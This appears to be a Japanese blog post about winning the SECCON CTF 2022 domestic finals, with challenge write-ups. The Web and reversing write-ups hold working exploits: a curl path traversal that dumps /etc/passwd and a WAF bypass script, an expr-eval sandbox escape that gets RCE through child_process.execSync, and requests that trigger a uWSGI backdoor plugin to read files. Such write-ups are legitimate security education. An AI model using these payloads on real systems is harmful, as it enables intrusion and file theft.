2/11 - 2/12という日程で、2019年度の大会ぶりにオンサイト形式@浅草橋で開催された。keymoonさんとふたりチーム _(-.- _) )_
で参加し、優勝した🏅 やったー!
2015年度(国内)、2017年度(国内と国際の両方)、2018年度(国内)、2019年度(国内)とこれまでSECCON CTFの決勝大会に4回参加してきたが、私が参加していたチームでは2017年度の5位が最高成績だったので嬉しい。同じくkeymoonさんと参加した前回に引き続いて国内1位だった*1ことも嬉しいし、久しぶりのオンサイトでの決勝大会ということで、色々な方とお話しできたのもよかった。もちろん、問題の質も高くその点でも楽しめた。
リンク:
大会やチームについて
競技形式
JeopardyとKing of the Hill(KoH)を並行して進めるような形式だった。Jeopardyはいつものやつという感じで、Web, Pwn, Reversing, Cryptoといった基本的なジャンルに加えて、決勝大会ならではといえるHardware(?)問も出題されていた。問題は場所と時間の制約があるHardwareを除いて1日目にすべてが公開され、競技途中で追加されることはなかった。問題数は次のような感じ(カッコ中は各問題の配点):
- Web: 5 (100, 200, 300, 300, 500)
- Pwn: 4 (200, 250, 300, 500)
- Reversing: 3 (100, 250, 300)
- Crypto: 3 (200, 300, 400)
- Misc(Hardware): 2 (100, 200)
会場から競技に参加できるのは各日それぞれで7時間ほどに限られており、スコアサーバや問題サーバを含めた競技ネットワークにもその時間中しか接続できなかった。Jeopardyも例外ではなく、時間外は問題サーバやスコアサーバにはアクセスできない。ただし、Jeopardyでは問題文と添付ファイルだけで解ける(もしくは、あとは問題サーバにexploitをぶちかますだけというところまで進められる)ような作りになっている問題ばかりで、それらがあれば宿題として自宅やホテルに帰ってから取り組めるようになっていた。スコアサーバに接続できるうちに問題文と添付ファイルの回収をしておかないとそれもできないわけだけれども。
スコアリングはStatic Scoringが採用されており、解いたチームの数によってその問題で得られるポイントが変わっていくということはなかった。最初に解いた(first blood)チームにボーナスポイントが与えられるということもないので、フラグを溜め込んでおいて終盤で一気に通すという、Flag Hoardingとかサブマリン戦法とか呼ばれている闇の戦略を採ることもほぼデメリットなし*2にできる。
KoHは各チームの取り組み次第で得られる点数が変わってくるような、ルール中の言葉を借りると "the better the solution, the more points you will receive" に表される形式だった。解けるか解けないかの1ビットでなく、たとえばコードゴルフ*3でのコードの短さのように評価にグラデーションがあるようなお題が与えられる。その評価に基づいて、よりよい解法のチームほど多くの点数が得られるというものだった。
各問題には5分で1単位の「ラウンド」があり、ラウンドごとに各チームに与えられる点数の計算と付与が行われる。上述の競技ネットワークに接続できる7時間がKoHの問題に取り組める時間で、スコアの加算もその時間中にのみ行われる。
2019年度大会までの形式でいうAttack Pointsは、今回はJeopardyがあるので存在しない。また、どこか1チームだけがDefense Keywordを書き込め、したがってそのチームだけが得点できるような勝者総取りの問題も、今回はなかった。
Jeopardyよりは他チームの動向に意識を向ける必要があるものの、Attack & Defense(A&D)ほどチーム同士で殴り合っているわけでもないという塩梅だった。1日目と2日目で完全に問題が分かれており、それぞれ1問と2問が出題されていた。
チーム名
個人では以前から _(:3」∠)_
やら( 'ᾥ' )
やら顔文字や絵文字のチーム名で参加している。スコアボードに出てくるとちょっとインパクトがあるし、かわいいチーム名だと微妙にテンションが上がるからというのが、こういったチーム名にする理由。チーム名の選び方は適当で、Windows 10以降で使えるようになった Windows
+ .
のショートカットで出てくる顔文字・絵文字入力からかわいいやつを選んだり、「顔文字」で検索して出てきたものを使ったりしている。
前回大会でもkeymoonさんと参加していたが、このときは (o^_^o)
というチーム名だった。前回も今回もスコアボードで使えるチーム名にASCII範囲外の文字が使えないという制約があったため、頑張ってその範囲内でなんとかしている。前回のチーム名もそこそこよいのだけれども、今回はもうちょっとかわいいものを使いたいなあと思い、_(:3」∠)_
をベースにそれっぽくした。また、「這ってでも旗を取りに行く気概」という意味を込めている。というのはkeymoonさんの予選でのwriteupを読んでの後付け。
やっていたこと
1日目はKoH(独自のプログラミング言語のコンパイラを修正したり、攻撃したりする問題だったそう)はkeymoonさんにおまかせして、私は夜も含めてずっとJeopardyの問題に取り組んでいた。始まって3時間ぐらいでWebのeasylfi2(こちらは国際決勝大会も含めfirst bloodだったそう), babyboxを通してブチ上がったのはいいものの、それ以降はまったく解けなかった。
会場から自宅に帰った後は、今書いたようにJeopardyの問題の続き(特にWebのlight-noteとMaaS)を遊んでいた。あとはRevのWhiskyが数solves出ていて簡単だという話をkeymoonさんから聞いたので、それを解いたりしていた。2日目にKoHが新たに2問出題されることがわかっていたので、頭が働かない状態で挑むのはまずいと思い、Jeopardyを解くのは途中で諦めて寝る。睡眠時間は3時間ぐらいだったはず。
2日目のKoHはHeptarchyとWitchQuizの2つだった。ちょうどよいので1人1問、それぞれが得意な方を取り組もうという話になっていた。WitchQuizはCrypto問らしいと聞いたので私には無理だと思い、そちらは完全にkeymoonさんにおまかせしつつ、私はReversing問のHeptarchyに取り組むことになった。
詳細は後述するけれども、Heptarchyは1時間ごとに異なる問題に取り組むような形式だったので、競技時間中はかかりきりになっていた。Jeopardyの続きを遊ぶ余裕はなく、そのまま終了。
感想とか
ふたりでもまあ大丈夫だろう*4という気持ちと、大丈夫かなあという気持ちの両方がありつつ競技に臨んだ。結果的に優勝できたが、リソースの厳しさを感じることが多かった。たとえば、1日目ではkeymoonさんが、2日目に至ってはふたりともが日中はほぼずっとKoHに拘束されているという状況だった。
JeopardyとKoHの点数のバランスについて。各チームの点数の内訳を見るとわかるように、国内決勝大会ではどのチームもあまりJeopardyが解けていなかったためかは知らないけれども、JeopardyよりもKoHで得られる点数の方が大きくなる傾向にあった。そういうわけで、KoHに注力した(せざるを得なかった)のが効いたような気がする。
JeopardyのWeb問は予選大会に引き続いてArkさんが作問されていたが、相変わらず面白く、そして大変難しかった。全部で5問が用意されていたものの、_(-.- _) )_
はそのうちの2問しか解けなかった。もっとも、国際決勝大会も含めて5問中の2問はどのチームにも解かれなかったそう。公式writeupを楽しみにしている。
これなんと読むんですかと運営に聞かれたり*5、そのページがMarkdownで書かれていたのか、ルールページでチーム名のアンダースコアで囲まれている部分が斜体として表示されていたり、色々迷惑をかけていた。記号だらけでまともに検索もできないので、今後は違う方向性での命名を検討したい。
ほか、やってよかったこと・持ってきてよかったもの:
- 睡眠: 前日によく寝て、1日目も短いけれど寝たおかげで、競技中はずっと集中できていた
- 這ってでも旗を取りに行く気概: KoHではどれだけ雑な解法でもよいので試し、1点でも多く獲得していきたいと思っていたのだけれども、Heptarchyではどれだけダメなコードでも投げることで結構な得点ができた。ただ、得点への貪欲さはまだ足りていなかったようにも思う
- LANアダプターとLANケーブル: そもそも競技ネットワークには有線でしか接続できないというアナウンスが事前にあった
- カントリーマアムなどのお菓子: おいしかった
- (ToDo: なんか思いついたら追記する)
やっておけばよかったこと・ほしかったもの:
- LANケーブル作りの修行: 事前にそういう問題が出ることを予測できていたならエスパーだ
- モバイルモニター: CTFを遊ぶには1画面では足りない
Jeopardy
[web 200] easylfi2 (8 solves)
easylfi again! I know you fully understand everything about curl.
(問題URL)
添付ファイル: easylfi2.tar.gz
ソースコードが与えられている。大変シンプルで、以下のようにフレームワークにKoaを使ってWebアプリケーションを作っている。アクセスが来れば、リクエストされたパスをもとに curl file://app/public/(リクエストされたファイル)
というような感じのOSコマンドで curl
を使ってその内容を取得し返す。
問題文でも言及されているし、問題名でも2って言われているけれども、SECCON CTF 2022 Qualsで出たeasylfiとよく似た機能を持っている。ただし、easylfiではPythonが使われていたのに対して、今回はJavaScriptが使われている。言語やフレームワークの違いが解法に関わってきそう。
const app = new (require("koa"))(); const execFile = require("util").promisify(require("child_process").execFile); const PORT = process.env.PORT ?? "3000"; // WAF app.use(async (ctx, next) => { await next(); if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) { ctx.body = "🤔"; } }); app.use(async (ctx) => { const path = decodeURI(ctx.path.slice(1)) || "index.html"; try { const proc = await execFile( "curl", [`file://${process.cwd()}/public/${path}`], { timeout: 1000 } ); ctx.type = "text/html; charset=utf-8"; ctx.body = proc.stdout; } catch (err) { ctx.body = err; } }); app.listen(PORT);
Dockerfile
はこんな感じ。/flag.txt
にフラグがあるらしい。
FROM node:19.6.0-slim ENV NODE_ENV=production WORKDIR /app RUN apt update && apt install -y curl COPY ["package.json", "package-lock.json", "./"] RUN npm install --omit=dev COPY . . RUN mv flag.txt /flag.txt USER 404:404 CMD ["node", "index.js"]
ほかのeasylfiとの違いを見ていく。まずはこの「WAF」を自称している機能だけれども、easylfiでは SECCON
という文字列が含まれているだけでレスポンスボディが Try harder
に書き換えられるようになっていたが、今回は SECCON{\w+}
とフラグフォーマットに一致する文字列が含まれているか、もうちょっとちゃんとチェックするようになっている。
ほかのWAF的な機能でいうと、easylfiでは ..
や %
といった文字列がリクエストされたパスに含まれているだけで、パストラバーサルを試行しているとバレてそこで処理が中断されるようになっていたのだが、今回はそれがない。
// WAF app.use(async (ctx, next) => { await next(); if (JSON.stringify(ctx.body).match(/SECCON{\w+}/)) { ctx.body = "🤔"; } });
まずはパストラバーサルができるかチェックする。できた。もちろん、/flag.txt
を取得しようとすると怒られる。
$ curl -g --path-as-is 'http://localhost:3000/../../etc/passwd' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash $ curl -g --path-as-is 'http://localhost:3000/../../flag.txt' 🤔
どうやってこのフィルターをバイパスするかという話だけれども、コードを眺めていて JSON.stringify(ctx.body).match(/SECCON{\w+}/)
とわざわざ JSON.stringify
したものをチェックしているのが気になった。どうしてわざわざこんなことをしているのだろう。WAF部分に typeof ctx.body
だったり ctx.body.constructor
だったりを出力するコードを追記しても、通常のリクエストでは string
しか出力されない。
色々試していると、デカいファイルをダウンロードするとどうなるのだろうと思って /usr/bin/perl
を取得しようとした際に、妙な挙動を示した。なんかエラーが起きてJSONが返ってきてない? 確認してみると、stdout
で返ってきているのは /usr/bin/perl
なのだけれども、途中で切れていた。エラーのコードを探すと、どうやらこれは stdoutLen > options.maxBuffer
である場合に吐き出されるっぽい。Node.jsのドキュメントによると、options.maxBuffer
はデフォルトでは 1024 * 1024
だそう。これだ!
$ curl -g --path-as-is 'http://localhost:3000/../../usr/bin/perl' {"code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER","cmd":"curl file:///app/public/../../usr/bin/perl","stdout":"…","stderr":" % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0"}
easylfiでも使った要素だが、https://example.com/{a,b,c}
のようにブレースを使うことで curl
に複数のファイルへアクセスさせることができる。各ファイルのサイズを確認しつつ {/usr/bin/tput,/etc/passwd,…,/flag.txt,…}
のような感じで複数のファイルにアクセスさせることで stdout
に流れる文字数を調整し、{"code":"ERR_CHILD_PROCESS_STDIO_MAXBUFFER","cmd":"curl file:///app/public/../../…","stdout":"…SECCON{DUMMY","stderr":"…"}
のように SECCON{\w+}
のフォーマットに当てはまらない(途中で切れる)形でフラグを出力させるのはどうか。
小さいものから大きいものまでたくさんのファイルがある /etc/
や /usr/bin/
で ls -l
し、どんなサイズのファイルがあるか眺める。手作業でバイト数を調整し、できあがったのが以下の組み合わせ。///flag.txt
のようにスラッシュの数で微妙な調整をしている。
import requests def query(f): url = 'http://easylfi2.dom.seccon.games:3000/../../{{{}}}' url = url.format(','.join(f)) r = requests.get(url.replace('../', '%2E%2E%2F')) print(r.text[-10000:]) if '🤔' not in r.text and 'SECCON' in r.text: return True, len(r.text) else: return False, len(r.text) print(query([ '/usr/bin/who' ] * 11 + [ '/usr/bin/tput', '/usr/bin/bashbug', '/usr/bin/debconf', '/usr/bin/debconf', '/etc/bindresvport.blacklist', '/etc/bindresvport.blacklist', '/etc/bindresvport.blacklist', '/etc/issue.net', '../' * 2 + '///flag.txt', 'flag.txt', '/etc/debian_version', '/etc/passwd' ]))
実行すると、フラグが得られた。
$ python3 s.py …\n--_curl_--file:///app/public/..%2F..%2F/etc/issue.net\nDebian GNU/Linux 11\n--_curl_--file:///app/public/..%2F..%2F..%2F..%2F///flag.txt\nSECCON{Wha7_files_did_you_use_to_s0lve_1t","stderr":"…"} (True, 2326746)
SECCON{Wha7_files_did_you_use_to_s0lve_1t}
開始直後はbabyboxを見ていたのだけれども、なかなか進捗が出なかったので30分ぐらい経ってからこちらを見始めた。そこから1時間ぐらいで解けた。first bloodを取れて嬉しい。
[web 100] babybox (4 solves)
Can you hack this sandbox?
(問題サーバのURL)
添付ファイル: babybox.tar.gz
JavaScriptのサンドボックス問っぽい。ソースコードが与えられている。まず index.js
は次の通り。expr
というパラメータを受け付けて、それを calc.js
に丸投げしている。
const fastify = require("fastify")(); const fs = require("node:fs").promises; const execFile = require("util").promisify(require("child_process").execFile); const PORT = process.env.PORT ?? "3000"; fastify.get("/", async (req, reply) => { const html = await fs.readFile("index.html"); return reply.type("text/html; charset=utf-8").send(html); }); fastify.post("/calc", async (req, reply) => { const { expr } = req.body; try { const result = await execFile("node", ["./calc.js", expr.toString()], { timeout: 1000, }); return result.stdout; } catch (err) { return reply.code(500).send(err.killed ? "Timeout" : err); } }); fastify.listen({ port: PORT, host: "0.0.0.0" });
calc.js
は次の通り。こちらも大変シンプルで、expr-eval
というパッケージを使って計算式を評価している様子。
const { Parser } = require("expr-eval"); const expr = process.argv[2].trim(); console.log(new Parser().evaluate(expr));
expr-eval
のドキュメントに文法がまとめられている。関数呼び出しやプロパティへのアクセスができるようになっているのは嬉しい。a[i]
のようにブラケットを使う文法は、JSとは異なって配列にしか使えない(正確に言うと、添字が数値に変換されてしまう)ので、動的に生成したプロパティ名を使ってプロパティにアクセスするのが難しそうだったり、機能が少なかったりでちょっとつらそう。当たり前だけど、this
や eval
などの変数にはアクセスできない。
$ node calc.js "this" /app/node_modules/expr-eval/dist/bundle.js:208 throw new Error('undefined variable: ' + item.value); ^ Error: undefined variable: this … $ node calc.js "eval" /app/node_modules/expr-eval/dist/bundle.js:208 throw new Error('undefined variable: ' + item.value); ^ Error: undefined variable: eval …
Dockerfile
を見ると、フラグの書かれているファイル名が推測不能であることがわかる。RCEに持ち込む必要がある。
FROM node:19.6.0-slim ENV NODE_ENV=production WORKDIR /app COPY ["package.json", "package-lock.json", "./"] RUN npm install --omit=dev COPY . . RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt USER 404:404 CMD ["node", "index.js"]
こういうJSのサンドボックス問でまず試すのは、constructor
, prototype
, __proto__
といった特殊なプロパティへのアクセスだ。Function
にアクセスできれば new Function('return process')()
のように任意のJSコードの実行に持ち込めるかもしれないし、Object.prototype
などにアクセスできればPrototype Pollutionに持ち込めるかもしれない。
constructor
を試すと妙な挙動をした。constructor
だけだと Object
を返したが、a.constructor
のようにプロパティ名として constructor
を使った場合にはエラーを吐いた。謎。
前者はたぶん expr-eval
の evaluate.js
の処理がその原因。expr.functions
というビルトインの関数がまとめられているオブジェクトがあって、変数へのアクセスではまず expr.functions[item.value]
(item.value
は変数名)が存在しているかチェックされている。item.value in expr.functions
は当然真だし、expr.functions.constructor
は Object
になる。
$ node calc.js "constructor" [Function: Object] $ node calc.js "a=123;a.constructor" /app/node_modules/expr-eval/dist/bundle.js:1049 throw new Error('parse error [' + coords.line + ':' + coords.column + ']: Expected ' + (value || type)); ^ Error: parse error [1:20]: Expected TNAME at ParserState.expect (/app/node_modules/expr-eval/dist/bundle.js:1049:13) at ParserState.parseMemberExpression (/app/node_modules/expr-eval/dist/bundle.js:1314:14) at ParserState.parseFunctionCall (/app/node_modules/expr-eval/dist/bundle.js:1277:12) at ParserState.parsePostfixExpression (/app/node_modules/expr-eval/dist/bundle.js:1260:10) at ParserState.parseExponential (/app/node_modules/expr-eval/dist/bundle.js:1252:10) at ParserState.parseFactor (/app/node_modules/expr-eval/dist/bundle.js:1247:12) at ParserState.parseTerm (/app/node_modules/expr-eval/dist/bundle.js:1215:10) at ParserState.parseAddSub (/app/node_modules/expr-eval/dist/bundle.js:1204:10) at ParserState.parseComparison (/app/node_modules/expr-eval/dist/bundle.js:1193:10) at ParserState.parseAndExpression (/app/node_modules/expr-eval/dist/bundle.js:1181:10) Node.js v19.6.0
Object
にアクセスできるというのは使えそう。Object
には Object.keys
, Object.getOwnPropertyDescriptors
, Object.defineProperty
など、オブジェクトを操作するのに使えるメソッドがいっぱい生えている。これで Function
を手に入れられないか。
expr-eval
では a() = 7*7
のような記法で関数を定義できる。Object.getPrototypeOf
で定義した関数の [[Prototype]]
(つまり、Function.prototype
)を取得し、さらに Object.getOwnPropertyDescriptors
でプロパティ記述子を列挙する。constructor
に Function
が入っていた。
$ node calc.js "Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptors(Object.getPrototypeOf(a)); e = Object.entries(d); e[4]" [ 'constructor', { value: [Function: Function], writable: true, enumerable: false, configurable: true } ]
CommonJS方式でモジュールをインポートしているので process.mainModule
にアクセスできる。ES Modulesだったとしても process.binding('spawn_sync').spawn
があるけど。そこから require
にアクセスし、OSコマンドの実行に持ち込める。
$ node calc.js "Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptors(Object.getPrototypeOf(a)); e = Object.entries(d); f = e[4][1].value; f('return process.mainModule.require(\"child_process\").execSync(\"id\").toString()')()" uid=404 gid=404 groups=404
実行するOSコマンドを cat /flag*
に変えて問題サーバに投げると、フラグが得られた。
SECCON{pr0totyp3_po11ution_iS_my_friend}
babyと名前についている問題は8割がbabyではないという説を補強する問題だった。
[reversing 100] whisky (7 solves)
Do you like whisky?
Read/flag.txt
to get the flag!(問題サーバのURL)
添付ファイル: backdoor_plugin.so
Webサーバにバックドアが仕掛けられているので、それを使って /flag.txt
を読めという問題っぽい。で、そのバックドアを仕掛けるプラグインが backdoor_plugin.so
なのだろう。
IDA Freewareで開いて適当に関数を見ていくと、uwsgi_backdoor_request
という関数が気になった。HTTPリクエスト中に含まれるヘッダの値にもとづいてバックドアが動き、何かしらの処理をしてくれるらしい。
じゃあその条件とは何かというところだけれども、まず uwsgi_get_var(a1, "HTTP_BACKDOOR", 13LL, &v8)
で Backdoor
ヘッダを取ってきているのはわかる。uwsgi_strnicmp(var, v8, "enabled", 7LL)
でその値が enabled
かどうかをチェックしているのもわかる。でも、バックドアが発火する条件として参照されている *(_WORD *)(a1 + 472) == 16
は何なのだろう。
__int64 __fastcall uwsgi_backdoor_request(__int64 a1) { unsigned int v2; // r13d __int64 var; // r12 __int64 v5; // rdi void *v6; // r14 void *v7; // r12 unsigned __int16 v8; // [rsp+6h] [rbp-32h] BYREF unsigned __int64 v9; // [rsp+8h] [rbp-30h] v9 = __readfsqword(0x28u); if ( (unsigned int)uwsgi_parse_vars() ) { v2 = -1; } else { v2 = 0; v8 = 0; var = uwsgi_get_var(a1, "HTTP_BACKDOOR", 13LL, &v8); uwsgi_response_prepare_headers(a1, "200 OK", 6LL); uwsgi_response_add_header(a1, "Content-type", 12LL, "text/html", 9LL); if ( !(unsigned int)uwsgi_strnicmp(var, v8, "enabled", 7LL) && *(_WORD *)(a1 + 472) == 16 ) { v5 = *(_QWORD *)(a1 + 192); if ( v5 ) { v6 = (void *)uwsgi_strncopy(v5, *(unsigned __int16 *)(a1 + 200)); v7 = (void *)uwsgi_strncopy(*(_QWORD *)(a1 + 464), *(unsigned __int16 *)(a1 + 472)); backdoor(); free(v6); free(v7); } } uwsgi_response_write_body_do( a1, "<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/a/a2/Whiskyhogmanay2010.jpg/800px-Whiskyhogmanay2010.jpg\">\n", 122LL); } if ( v9 == __readfsqword(0x28u) ) return v2; else return term_proc(); }
a1
は uwsgi_get_var
, uwsgi_response_prepare_headers
, uwsgi_response_add_header
という関数に第1引数として渡されている。これらの関数名でググるとuWSGIのドキュメントが出てきた。uwsgi.h
を見るに、wsgi_request
という構造体らしい。
オフセットとメンバ名の対応付けをどうしようかなあと思ったが、gdbで uwsgi_backdoor_request
にブレークポイントを置いて、これらのオフセットにある値を見つつ、色々なヘッダを投げてみればよいのではないかと思いつく。
次のように、wsgi_request
に含まれるヘッダなどは、基本的にまず文字列そのものが入っている char *
があり、その次に長さを示す uint16_t
のメンバが出現するという構造になっている様子。a1+192
と a1+464
はヘッダかなにか、a1+200
と a1+472
がそれらの長さだろう。
… char *referer; uint16_t referer_len; char *cookie; uint16_t cookie_len; …
そのために、まず次のようなパラメータを持つ uwsgi.ini
で適当にアプリケーションを作る。
plugins-dir = /var/www/plugins plugin = backdoor
*(_WORD *)(a1 + 472) == 16
と比較している箇所にブレークポイントを置く。
$ ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND user 1 0.0 0.0 15468 6212 ? Ss 06:59 0:00 uwsgi --ini /var/www/uwsgi.ini user 7 0.0 0.0 40056 2600 ? Sl 06:59 0:00 uwsgi --ini /var/www/uwsgi.ini user 8 0.0 0.0 40056 2600 ? Sl 06:59 0:00 uwsgi --ini /var/www/uwsgi.ini user 13 0.0 0.0 40056 2600 ? Sl 06:59 0:00 uwsgi --ini /var/www/uwsgi.ini user 19 0.0 0.0 171128 2600 ? Sl 06:59 0:00 uwsgi --ini /var/www/uwsgi.ini user 23 0.1 0.0 4244 3388 pts/0 Ss 07:10 0:00 bash user 37 0.0 0.0 5896 2812 pts/0 R+ 07:10 0:00 ps aux $ gdb -p 19 … (gdb) b *(uwsgi_backdoor_request + 0xe0) Breakpoint 1 at 0x7f1876eaf6f0 (gdb) c
curl http://localhost:33333/hoge -H "Backdoor: enabled" -H "Authorization: fugaa" -H "Referer: piyo" -A "user-agent"
のような感じでHTTPリクエストを送ると、設定したブレークポイントに引っかかる。a1+192
はリクエストされたパス、a1+464
は Authorization
ヘッダらしいとわかった。
Thread 3 "uwsgi" hit Breakpoint 1, 0x00007f1876eaf6f0 in uwsgi_backdoor_request () from /var/www/plugins/backdoor_plugin.so (gdb) x/gd $rbp+472 0x7f1876e05250: 5 (gdb) x/s *(char **)($rbp+464) 0x7f1876dff1a9: "fugaa"
(gdb) x/gd $rbp+200 0x7f1876e05140: 5 (gdb) x/s *(char **)($rbp+192) 0x7f1876dff05a: "/hoge\t"
これらの文字列を引数に backdoor
が呼び出されている。真面目に読まずとも、リクエストされたパスを絶対パスとして解釈してファイルを読み、Authorization
ヘッダの値を鍵として、それをAES-128-ECBで暗号化しているのだろうなあと推測できる。そして、暗号化されたファイルの内容は Backdoor
というレスポンスヘッダで返される。
__int64 __fastcall backdoor(__int64 a1, FILE *path, __int64 key) { __int64 v3; // rbp FILE *v6; // rdi FILE *v7; // rax unsigned int v8; // ebx __int64 v9; // rbp __int64 v10; // rax __int64 result; // rax int v12; // r8d __int64 v13; // r13 char *i; // r14 __int64 v15; // r8 char *v16; // rdi int v17; // [rsp+10h] [rbp-450h] BYREF int v18; // [rsp+14h] [rbp-44Ch] BYREF __int128 ptr[16]; // [rsp+18h] [rbp-448h] BYREF __int128 v20[16]; // [rsp+118h] [rbp-348h] BYREF char v21[520]; // [rsp+218h] [rbp-248h] BYREF unsigned __int64 v22; // [rsp+420h] [rbp-40h] __int64 v23; // [rsp+438h] [rbp-28h] v6 = path; v23 = v3; v22 = __readfsqword(0x28u); memset(ptr, 0, sizeof(ptr)); memset(v20, 0, sizeof(v20)); v18 = 0; v7 = fopen64((const char *)path, "r"); if ( v7 ) { v6 = v7; v8 = fread(ptr, 1uLL, 0xFFuLL, v7); fclose(v6); v9 = EVP_CIPHER_CTX_new(); if ( v9 ) { v10 = EVP_aes_128_ecb(); if ( (unsigned int)EVP_EncryptInit_ex(v9, v10, 0LL, key, 0LL) && (unsigned int)EVP_EncryptUpdate(v9, v20, &v17, ptr, v8) && (unsigned int)EVP_EncryptFinal_ex(v9, (char *)v20 + v17, &v18) ) { v12 = v17 + v18; v13 = 0LL; v17 = v12; for ( i = v21; v17 > (int)v13; LOWORD(v12) = v17 ) { v15 = *((unsigned __int8 *)v20 + v13); v16 = i; ++v13; i += 2; __sprintf_chk(v16, 1LL, -1LL, "%02x", v15); } uwsgi_response_add_header(a1, "Backdoor", 8LL, v21, (unsigned __int16)(2 * v12)); } v6 = (FILE *)v9; EVP_CIPHER_CTX_free(v9); } } result = v22 - __readfsqword(0x28u); if ( result ) return uwsgi_backdoor_request((__int64)v6); return result; }
試しに、ローカルで /flag.txt
の内容を AAAABBBBCCCCDDDD
という鍵で暗号化したものを返してもらう。
$ curl -i http://localhost:33333/flag.txt -H "Backdoor: enabled" -H "Authorization: AAAABBBBCCCCDDDD" HTTP/1.1 200 OK Server: nginx/1.23.3 Date: Mon, 13 Feb 2023 22:35:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Backdoor: 720b79fdb7aae50ad957a50165e04d8a <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a2/Whiskyhogmanay2010.jpg/800px-Whiskyhogmanay2010.jpg">
CyberChefに投げて復号してやると、たしかにダミーのフラグが得られていることがわかる。
今度は問題サーバに対して試す。
$ curl -i "http://whisky.dom.seccon.games:8080/flag.txt" -H "Backdoor: enabled" -H "Authorization: AAAABBBBCCCCDDDD" HTTP/1.1 200 OK Content-type: text/html Backdoor: 16cd308feb96473b59ea70e07804341169405574d46d60997eb7853731427bc67531aebcfcc49560a4305b0de0018f8d433e8070e2fa6006aca7791eadbada8a <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/a/a2/Whiskyhogmanay2010.jpg/800px-Whiskyhogmanay2010.jpg">
フラグが得られた。
SECCON{Which_do_you_prefer:Whisky_Beer_Wine_Sake}
easylfi2より正答チーム数が少ないことに納得がいっていない。
King of the Hill
2日目: Heptarchy
(問題サーバのURL)
添付ファイル: heptarchy-distfiles.tar.gz
1時間ごとにバイナリが提供されるので、それをひたすらリバースエンジニアリングしろという問題だった。どのバイナリも元のソースコードは異なるプログラミング言語で書かれているようで、この問題に取り組める7時間中に以下の7つのプログラミング言語製のバイナリが配布された。
- C
- C++
- Rust
- Go
- D
- Python
- WebAssembly
- これだけ元の言語がWebAssemblyというよりはターゲットがWebAssemblyという感じだった。元の言語はC
バイナリにフラグが含まれているというわけではない。各チームの得点は、各チームが提出した(デコンパイルの結果できあがった)ソースコードを、提供されたバイナリと同じ環境でコンパイルした結果出力されたバイナリとの比較によって決まる。差分が少なかったチームほど得点が多く、逆に差分が多かったチームほど少なくなる。したがって、リバースエンジニアリングして挙動を把握するだけでは不十分で、どのようなソースコードを書けばそのようなバイナリが出力されるかまで考えなければならない。
このあたりのルールに加えて、どのような環境(コンパイラのバージョンとか、渡されるオプションとか)でソースコードがコンパイルされるかということがわかるスクリプトや Dockerfile
は、問題がオープンした時点ですべての言語のものが提供された。他チームと競い合うのが無理だと思った言語はほどほどに切り上げて、以降の言語に向けて準備をしておくこともできた。
この問題で重要な点は、ルールにも書かれていたが、ソースコードの提出すらしないチームはまったく得点できないということ。裏を返せば、提供されたバイナリとは似ても似つかないバイナリが出力されるものであっても、ソースコードさえ提出すれば最低限のポイントは得られるということだ。もちろんコンパイル可能である必要があるし、詳しくは後述するが、差分が大きすぎて差分計算に時間がかかる場合でも得点できないルールではあった。
ちなみに、その差分のサイズは、添付されていた heptarchy-distfiles.tar.gz
に含まれるバイナリによって計算されていた。そのため、ソースコードを提出するとどれぐらいの差分のサイズになるかが、手元で確認できるようになっていた。
このようなルールを考慮し、各言語の初動では、あらかじめ Hello, world!
するコードを用意しておいて最初はそれを提出し、続いてバイナリを実行した結果から挙動の推測をし、それっぽいコードに変えていくということをしていた。それから真面目にリバースエンジニアリングして元のソースコードを推測しつつ、細かな修正を加えてコンパイルし、出力されるバイナリと提供されたバイナリの差分が小さくなれば提出するということを繰り返す戦略を採った。
各チームの最終的なスコアは次のような感じ。3位だったのはよかったけれども、上の2チームとは200点程度も離れていてくやしい。Python以外では1, 2位をほとんど取れていなかったから仕方ない。
1284 Double Lariat 1236 rokata 1038 _(-.- _) )_ 983 AERO SANITY 774 traP 565 Team Enu 522 chocorusk 367 parabola0149 321 TokyoWesterns 290 ids-TeamCC 218 KUDoS 85 catapult
C
x86_64の普通のELFが降ってくる。2つのファイルについて、差分のサイズを計算してくれるらしい。IDA Freewareがほぼそのままでコンパイル可能な形にデコンパイルしてくれて助かった。まずは main
と、そこから呼び出されている get_size
, myers_diff
という関数のコードを取り出した。__cdecl
や __fastcall
のような呼び出し規則の修飾子を削除し、さらに以下のようにヘッダファイルのインクルードをするようにしたり、__int64
や _QWORD
のような型をなんとかしたりした。
#include <stdio.h> #include <stdlib.h> typedef long long int __int64; typedef unsigned long long int _QWORD; typedef unsigned char _BYTE;
最終的な差分サイズは1190。順位の推移は(0点) → 1 → 1 → 4 → 4 → (0点) → 5 → 5 → 5 → 5 → 5 → 5。
C++
鍵と平文を与えると、なんらかの形で暗号化してくれるバイナリ。
